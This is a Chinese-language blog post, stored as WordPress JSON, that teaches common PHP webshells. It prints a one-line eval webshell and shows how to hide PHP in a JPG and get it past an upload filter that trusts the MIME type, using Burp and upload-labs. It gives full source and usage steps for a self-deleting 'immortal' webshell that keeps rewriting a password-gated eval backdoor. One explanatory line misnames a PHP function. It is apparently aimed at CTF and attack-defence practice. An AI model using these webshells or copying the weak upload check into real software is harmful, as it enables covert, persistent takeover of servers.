{"id":90,"date":"2022-03-24T17:10:49","date_gmt":"2022-03-24T09:10:49","guid":{"rendered":"http:\/\/47.118.40.97:8082\/?p=90"},"modified":"2023-09-22T14:03:07","modified_gmt":"2023-09-22T06:03:07","slug":"%e5%b8%b8%e8%a7%81%e6%9c%a8%e9%a9%ac","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=90","title":{"rendered":"\u5e38\u89c1\u6728\u9a6c"},"content":{"rendered":"

\u5e38\u89c1\u6728\u9a6c<\/h3>\n

\u4ec0\u4e48\u662f\u6728\u9a6c<\/h4>\n

\u6728\u9a6c\u75c5\u6bd2\u662f\u6307\u9690\u85cf\u5728\u6b63\u5e38\u7a0b\u5e8f\u4e2d\u7684\u4e00\u6bb5\u5177\u6709\u7279\u6b8a\u529f\u80fd\u7684\u6076\u610f\u4ee3\u7801\uff0c\u662f\u5177\u5907\u7834\u574f\u548c\u5220\u9664\u6587\u4ef6\u3001\u53d1\u9001\u5bc6\u7801\u3001\u8bb0\u5f55\u952e\u76d8\u548c\u653b\u51fbDos\u7b49\u7279\u6b8a\u529f\u80fd\u7684\u540e\u95e8\u7a0b\u5e8f<\/p>\n

php\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u518d\u7f51\u9875\u83b7\u53d6\u5230$_REQUEST['cmd']\u6570\u636e\uff0c\u5f53\u6210php\u4ee3\u7801\u76f4\u63a5\u6267\u884c<\/p>\n

<?php\n@eval($_REQUEST['cmd']);\n?><\/code><\/pre>\n
\u56fe\u7247\u6728\u9a6c<\/h4>\n
php\u4e0a\u4f20\u6587\u4ef6\u7684\u539f\u7406<\/h5>\n
    \n
  1. \u7528\u6237\u63d0\u4ea4\u8bf7\u6c42,\u4e0a\u4f20\u6587\u4ef6<\/li>\n
  2. \u670d\u52a1\u5668\u63a5\u6536\u8bf7\u6c42,\u5c06\u6587\u4ef6\u5b58\u50a8<\/a>\u5230\u4e34\u65f6\u6587\u4ef6<\/li>\n
  3. php\u89e3\u6790\u8be5\u4e34\u65f6\u6587\u4ef6,\u83b7\u5f97\u6587\u4ef6\u7c7b\u578b,\u6587\u4ef6\u5927\u5c0f<\/li>\n
  4. php\u901a\u8fc7\u5224\u65ad\u6587\u4ef6\u7c7b\u578b,\u8fdb\u884c\u79fb\u52a8\u4e34\u65f6\u6587\u4ef6\u5230\u4e0a\u4f20\u76ee\u5f55<\/li>\n
  5. php\u7ed9\u524d\u7aef\u8fd4\u56de\u4e0a\u4f20\u6210\u529f,\u5e76\u8fd4\u56de\u5730\u5740<\/li>\n<\/ol>\n
    \u90a3\u4e48php\u662f\u5982\u4f55\u89e3\u6790\u4e34\u65f6\u6587\u4ef6\u7684\u5462\uff1f<\/p>\n
    \u5176\u5b9e,\u6587\u4ef6\u5bf9\u81ea\u8eab\u6587\u4ef6\u5185\u5bb9,\u6709\u7740\u81ea\u5df1\u7684\u6587\u4ef6\u5934\u6807\u8bc6,\u6211\u4eec\u53ea\u9700\u8981\u6587\u4ef6\u8f6c\u4e3a16\u8fdb\u5236,\u7136\u540e\u770b\u5404\u4e2a\u6587\u4ef6\u7c7b\u578b\u5bf9\u6587\u4ef6\u5934\u7684\u5b9a\u4e49,\u5c31\u53ef\u4ee5\u77e5\u9053\u6587\u4ef6\u7684\u7c7b\u578b\u4e86,\u4f8b\u5982,jpeg\u56fe\u7247\u683c\u5f0f\u7684\u6587\u4ef6\u5934(2byte)\u6807\u8bc6\u4e3a:0xff, 0xd8,\u7ed3\u5c3e(2byte)\u6807\u8bc6\u4e3a:0xff,0xd9<\/p>\n
    \u901a\u8fc7\u8bfb\u53d6\u6587\u4ef6\u7684\u5b57\u8282\u5e76\u8f6c\u4e3a16\u8fdb\u5236,\u5373\u53ef\u77e5\u9053\u8be5\u6587\u4ef6\u7c7b\u578b\u662f\u4ec0\u4e48\uff1a<\/p>\n
    function fileToHex($file){\n    if(file_exists($file)){\n        $data = file_get_contents($file);\n        return bin2hex($data);\n    }\n    return '';\n}\n\necho fileToHex('\u6587\u4ef6\u8def\u5f84');<\/code><\/pre>\n
    \u8f93\u51fa\uff1a<\/p>\n
    \"image-20220324162556302\"<\/p>\n
    \u5f88\u660e\u663e\u4e3ajpg\u683c\u5f0f<\/p>\n
    \u90a3\u4e48\uff0c\u6211\u4eec\u5982\u679c\u4e0d\u6539\u53d8\u6587\u4ef6\u5934\uff0c\u800c\u662f\u5728\u4e2d\u95f4\u52a0\u5165\u4e00\u4e32php\u4ee3\u7801\uff0cphp\u662f\u600e\u4e48\u8bc6\u522b\u7c7b\u578b\u7684\u5462\uff1f<\/p>\n
    $path = 'D:\\Work\\image.jpg';\nfile_put_contents($path,file_get_contents('D:\\Work\\1.php'),FILE_APPEND);\/\/1.php\u4e3aphpinfo\uff0c\u5b9e\u9645\u64cd\u4f5c\u65f6\u4e3a\u6728\u9a6c\u6587\u4ef6<\/code><\/pre>\n
    \u5c06\u56fe\u7247\u56fe\u7247\u4f7f\u7528\u8bb0\u4e8b\u672c\u6253\u5f00\uff0c\u53ef\u4ee5\u770b\u5230\u4e0a\u4f20\u7684php\u4ee3\u7801<\/p>\n
    \"image-20220324163328349\"<\/p>\n
    \u67e5\u770b\u56fe\u7247\u53d1\u73b0\u6587\u4ef6\u6ca1\u6709\u635f\u574f<\/p>\n
    \"image-20220324163439262\"<\/p>\n
    \u901a\u8fc7\u4e0a\u4f20\u6587\u4ef6\uff0c\u53d1\u73b0php\u8bc6\u522b\u7684\u4e5f\u662fjpg<\/p>\n
    \"image-20220324163543668\"<\/p>\n
    \u6d4b\u8bd5\u7f51\u9875\u4ee3\u7801\uff1a<\/p>\n
    <!DOCTYPE html>\n<html lang="en">\n<head>\n    <meta charset="UTF-8">\n    <title>Document<\/title>\n<\/head>\n<body>\n<form action="" enctype="multipart\/form-data" method="post" name="uploadfile">\u4e0a\u4f20\u6587\u4ef6:<input type="file" name="upfile"\/><br\/>\n    <input type="submit" value="\u4e0a\u4f20"\/>\n<\/form>\n<?php\nif(@is_uploaded_file($_FILES['upfile']['tmp_name'])){\n $upfile=$_FILES["upfile"];\n \/\/\u83b7\u53d6\u6570\u7ec4\u91cc\u9762\u7684\u503c\n $name=$upfile["name"];\/\/\u4e0a\u4f20\u6587\u4ef6\u7684\u6587\u4ef6\u540d\n $type=$upfile["type"];\/\/\u4e0a\u4f20\u6587\u4ef6\u7684\u7c7b\u578b\n $size=$upfile["size"];\/\/\u4e0a\u4f20\u6587\u4ef6\u7684\u5927\u5c0f\n $tmp_name=$upfile["tmp_name"];\/\/\u4e0a\u4f20\u6587\u4ef6\u7684\u4e34\u65f6\u5b58\u653e\u8def\u5f84\n \/\/\u5224\u65ad\u662f\u5426\u4e3a\u56fe\u7247\n switch($type){\n case 'image\/pjpeg':$okType=true;\n break;\n case 'image\/jpeg':$okType=true;\n break;\n case 'image\/gif':$okType=true;\n break;\n case 'image\/png':$okType=true;\n break;\n    }\n if($okType){\n \/**\n         *0\uff1a\u6587\u4ef6\u4e0a\u4f20\u6210\u529f\n *1\uff1a\u8d85\u8fc7\u4e86\u6587\u4ef6\u5927\u5c0f\uff0c\u5728php.ini\u6587\u4ef6\u4e2d\u8bbe\u7f6e\n *2\uff1a\u8d85\u8fc7\u4e86\u6587\u4ef6\u7684\u5927\u5c0fMAX_FILE_SIZE\u9009\u9879\u6307\u5b9a\u7684\u503c\n *3\uff1a\u6587\u4ef6\u53ea\u6709\u90e8\u5206\u88ab\u4e0a\u4f20\n *4\uff1a\u6ca1\u6709\u6587\u4ef6\u88ab\u4e0a\u4f20\n *5\uff1a\u4e0a\u4f20\u6587\u4ef6\u5927\u5c0f\u4e3a0\n         *\/\n\n $error=$upfile["error"];\n echo "=======================<br\/>";\n echo "\u4e0a\u4f20\u6587\u4ef6\u540d\u79f0\u662f\uff1a".$name."<br\/>";\n echo "\u4e0a\u4f20\u6587\u4ef6\u7c7b\u578b\u662f\uff1a".$type."<br\/>";\n echo "\u4e0a\u4f20\u6587\u4ef6\u5927\u5c0f\u662f\uff1a".$size."<br\/>";\n echo "\u4e0a\u4f20\u540e\u7cfb\u7edf\u8fd4\u56de\u7684\u503c\u662f\uff1a".$error."<br\/>";\n echo "\u4e0a\u4f20\u6587\u4ef6\u7684\u4e34\u65f6\u5b58\u653e\u8def\u5f84\u662f\uff1a".$tmp_name."<br\/>";\n\n echo "\u5f00\u59cb\u79fb\u52a8\u4e0a\u4f20\u6587\u4ef6<br\/>";\n \/\/\u5224\u65adup\u6587\u4ef6\u5939\u662f\u5426\u5b58\u5728\uff0c\u4e0d\u5b58\u5728\u5219\u521b\u5efa\n $dir='up\/';\n if(!is_dir($dir)){\n mkdir($dir);\n        }\n \/\/\u628a\u4e0a\u4f20\u7684\u4e34\u65f6\u6587\u4ef6\u79fb\u52a8\u5230up\u76ee\u5f55\u4e0b\u9762\n move_uploaded_file($tmp_name,'up\/'.$name);\n $destination="up\/".$name;\n echo "=======================<br\/>";\n echo "\u4e0a\u4f20\u4fe1\u606f\uff1a<br\/>";\n if($error==0){\n echo "\u6587\u4ef6\u4e0a\u4f20\u6210\u529f\u5566\uff01";\n echo "<br\/>\u56fe\u7247\u9884\u89c8<br\/>";\n echo "<img src=".$destination;\n echo " alt=\\"\u56fe\u7247\u9884\u89c8\uff1a\\r\u6587\u4ef6\u540d\uff1a".$destination."\\r\u4e0a\u4f20\u65f6\u95f4\uff1a\\">";\n        }else if($error==1){\n echo "\u8d85\u8fc7\u4e86\u6587\u4ef6\u7684\u5927\u5c0f\uff0c\u5728php.ini\u6587\u4ef6\u4e2d\u8bbe\u7f6e";\n        }else if($error==2){\n echo "\u8d85\u8fc7\u4e86\u6587\u4ef6\u7684\u5927\u5c0fMAX_FILE_SIZE\u9009\u9879\u4e2d\u8bbe\u7f6e";\n        }else if($error==3){\n echo "\u6587\u4ef6\u53ea\u6709\u90e8\u5206\u88ab\u4e0a\u4f20";\n        }else if($error==4){\n echo "\u6587\u4ef6\u6ca1\u6709\u88ab\u4e0a\u4f20";\n        }else{\n echo "\u4e0a\u4f20\u6587\u4ef6\u5927\u5c0f\u4e3a0";\n        }\n\n    }else{\n echo "\u8bf7\u4e0a\u4f20jpg,gif,png\u7b49\u683c\u5f0f\u7684\u56fe\u7247";\n    }\n}\n?>\n<\/body><\/code><\/pre>\n
    \u5c06\u56fe\u7247\u540e\u7f00\u6539\u4e3a.php\u8fdb\u884c\u8fd0\u884c\u67e5\u770b\u89e3\u6790\u60c5\u51b5<\/p>\n
    \"image-20220324164221427\"<\/p>\n
    \u660e\u663e\u6b63\u5e38\u8fd0\u884c\u4e86\u63d2\u5165\u7684php\u4ee3\u7801\uff0c\u5c06<?php ?>\u6807\u7b7e\u4e4b\u5916\u7684\u5b57\u7b26\u5f53\u6210\u4e86\u6b63\u5e38\u5b57\u7b26\u8f93\u51fa\uff0c\u53ea\u8fd0\u884c\u4e86php\u90e8\u5206<\/p>\n
    \u4ee5upload-labs\u4e3a\u4f8b<\/h5>\n
    \"image-20220324164742977\"<\/p>\n
    \u4e0a\u4f20\u56fe\u7247\u9a6c\uff0c\u4f7f\u7528BP\u6293\u5305\u8fdb\u884c\u540e\u7f00\u4fee\u6539\u4ee5\u4fbf\u8ba9\u670d\u52a1\u5668\u5c06\u4e0a\u4f20\u7684\u6587\u4ef6\u8fdb\u884cphp\u89e3\u6790<\/p>\n
    \"image-20220324164909137\"<\/p>\n
    \u5728\u670d\u52a1\u5668\u8fd4\u56de\u7684\u54cd\u5e94\u5305\u4e2d\u770b\u5230\u6210\u529f\u4e0a\u4f20\u6587\u4ef6<\/p>\n
    \"image-20220324165019939\"<\/p>\n
    \u5728\u6d4f\u89c8\u5668\u4e2d\u8bbf\u95ee\u8be5\u8def\u5f84\u5373\u53ef<\/p>\n
    \"image-20220324165203759\"<\/p>\n
    \u4e0d\u6b7b\u9a6c<\/h4>\n
    \u4ec0\u4e48\u662f\u4e0d\u6b7b\u9a6c<\/h5>\n
    \u987e\u540d\u601d\u4e49\u5c31\u662f\u4e0d\u6b7b\uff0c\u4e0d\u6b7b\u9a6c\u5e7f\u6cdb\u5e94\u7528\u4e0eAWD\u4e2d\u6216\u8005\u5176\u4ed6\u7684\u7ef4\u6301\u6743\u9650\u7684\u624b\u6cd5\u4e2d\uff0c\u4e0d\u6b7b\u9a6c\u5c31\u662f\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u5347\u7ea7\u7248\u672c\uff0c\u4e00\u53e5\u8bdd\u6728\u9a6c\u548c\u4e0d\u6b7b\u9a6c\u76f8\u6bd4\u8f83\u8d77\u6765\uff0c\u5b89\u5168\u6027\u505a\u7684\u5f88\u597d<\/p>\n
    \u4e0d\u6b7b\u9a6c\u539f\u578b<\/h5>\n
    <?php\nignore_user_abort(true);\n    set_time_limit(0);\n    @unlink(__FILE__);\n    $file = '.ZYGS.php';\n    $code = '<?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?>';\n    while (1){\n        file_put_contents($file,$code);\n        usleep(5000);\n    }\n?>\n\/\/(e10adc3949ba59abbe56e057f20f883e == 123456)<\/code><\/pre>\n
    \u89e3\u6790<\/p>\n
    ignore_user_abort(true);   \/\/\u8bbe\u7f6e\u4e0e\u8fdc\u7a0b\u5ba2\u6237\u7aef\u65ad\u5f00\u540e\u662f\u5426\u7ee7\u7eed\u6267\u884c\u811a\u672c\uff0ctrue\u5373\u4e0d\u65ad\u5f00\nset_time_limit(0);   \/\/\u8bbe\u7f6e\u811a\u672c\u6700\u5927\u7684\u6267\u884c\u65f6\u95f4\uff0c0\u5373\u6ca1\u6709\u65f6\u95f4\u9650\u5236\n@unlink(__FILE__);   \/\/\u5220\u9664\u6587\u4ef6\u672c\u8eab\n$file = '.ZYGS.php';   \/\/\u6587\u4ef6\u540d\u662f.ZYGS.php\n$code = <?php ?>;   \/\/php\u4ee3\u7801\nfile_get_contents(file,code);   \/\/\u6253\u5f00file\u6587\u4ef6\uff0c\u7136\u540e\u5199\u5165code\nusleep(5000);   \/\/\u6bcf\u9694usleep(5000)\u5199\u5165\u4e00\u4e2a\u65b0\u6587\u4ef6<\/code><\/pre>\n
    unlink\u5c31\u662f\u4e3a\u4e86\u5220\u9664\u4f20\u5165\u7684\u4e0d\u6b7b\u9a6c\u6587\u4ef6\uff0c\u907f\u514d\u4e00\u4e9b\u4e0d\u5fc5\u8981\u7684\u4fe1\u606f\u6cc4\u9732\u51fa\u53bb\uff0c$file\u4e2d\u53ef\u4ee5\u89c4\u5b9a\u4f60\u8981\u4e0d\u65ad\u751f\u6210\u7684\u6587\u4ef6\u540d\uff0cusleep(time)\u662f\u751f\u6210\u6728\u9a6c\u7684\u65f6\u95f4\uff0c\u8fd9\u4e5f\u662f\u4e0d\u6b7b\u9a6c\u7684\u7075\u9b42\u4e4b\u4e00\uff0c\u901a\u8fc7\u4e0d\u65ad\u751f\u6210\u6587\u4ef6\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\uff0c\u5f62\u6210\u4e86\u4e0d\u6b7b\u9a6c\uff0c\u4e0d\u6b7b\u9a6c\u662f\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u6240\u4ee5\u5f80\u5f80\u8981\u91cd\u542f\u4e3b\u673a\u6216\u91cd\u542f\u670d\u52a1\u624d\u80fdkill\u6389\uff0c\u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u6761\u4ef6\u7ade\u4e89<\/p>\n
    <?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?><\/code><\/pre>\n
    \u901a\u8fc7\u5224\u65ad\u7528\u6237\u4f20\u5165\u7684\u53d8\u91cf\uff0c\u7136\u540e\u8f6c\u6362\u6210md5\u503c\u548ce10adc3949ba59abbe56e057f20f883e\u8fdb\u884c\u5bf9\u6bd4\uff0c\u5982\u679ce10adc3949ba59abbe56e057f20f883e\u89e3\u5bc6\u51fa\u6765\u7684\u503c\u548c\u7528\u6237\u4f20\u5165\u7684\u503c\u662f\u4e00\u6837\u7684\u8bdd\uff0c\u5c31\u7ee7\u7eed\u6267\u884c@eval($_POST['cmd']),\u8fd9\u4e5f\u662f\u6574\u4e2a\u4e0d\u6b7b\u9a6c\u4e2d\u7684\u7075\u9b42<\/p>\n
    \u4f7f\u7528\u65b9\u6cd5<\/h5>\n
    \u5c06\u4e0d\u6b7b\u9a6c\u4e0a\u4f20\u5230\u670d\u52a1\u5668\uff0c\u8bbf\u95ee\u4e0a\u4f20\u540e\u7684\u8def\u5f84\uff0c\u6b64\u65f6\u5df2\u7ecf\u5f00\u59cb\u751f\u6210\u4e0d\u6b7b\u9a6c.ZYGS.php\u4e86,\u5e76\u4e14\u4f20\u5165\u7684.zygs.php\u5df2\u7ecf\u88abunlink\u5220\u9664<\/p>\n
    \u6b64\u65f6\u4f7f\u7528\u8681\u5251\u8fdb\u884c\u8fde\u63a5\uff1ahttp:\/\/.......\/..\/.zygs.php?cmd=123456<\/a>    \u8fde\u63a5\u5bc6\u7801\u4e3a\uff1acmd<\/p>\n
    \n
    \u53c2\u8003\u6587\u732e\uff1ahttps:\/\/cloud.tencent.com\/developer\/article\/1584737<\/a><\/p>\n
    \u200b               https:\/\/cloud.tencent.com\/developer\/article\/1922141<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"
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